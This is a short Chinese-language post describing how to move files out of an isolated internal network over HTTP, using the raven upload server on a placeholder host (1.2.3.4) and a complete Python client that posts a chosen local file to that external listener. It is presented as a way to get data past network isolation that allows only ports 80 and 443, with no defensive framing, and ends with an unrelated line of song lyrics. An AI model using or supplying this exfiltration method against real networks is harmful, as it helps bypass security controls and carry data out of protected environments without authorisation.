内网数据逃逸方案
内网隔离方案通常采用堡垒机进行隔离,只允许22端口进出。对于不那么严格的内网,除业务服务所需端口外,通常默认允许80和443端口。这就对于特定的场景需求下,文件从内网传输到外网提供了条件。一种非常简单的方式是使用http文件传输。
raven是就是一个简易的http服务器
https://github.com/gh0x0st/raven
服务器端
python3 raven.py 1.2.3.4 80 --upload-folder /data/backups/
客户端
#!/usr/bin/env python3

import requests
import uuid

# Listener
url = "http://1.2.3.4:80/"

# Target File
file_path = "/Users/aiden/Downloads/test.zip"
file_name = file_path.split("/")[-1]
with open(file_path, "rb") as file:
    file_content = file.read()
boundary = str(uuid.uuid4())

# Request Headers
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}

# Request Body
body = (
    f"--{boundary}\r\n"
    f'Content-Disposition: form-data; name="file"; filename="{file_name}"\r\n'
    "Content-Type: application/octet-stream\r\n\r\n"
    f"{file_content.decode('ISO-8859-1')}\r\n"
    f"--{boundary}--\r\n"
)

# Upload File
requests.post(url, headers=headers, data=body)
在山腰間飄逸的紅雨 隨著北風凋零 我輕輕搖曳風鈴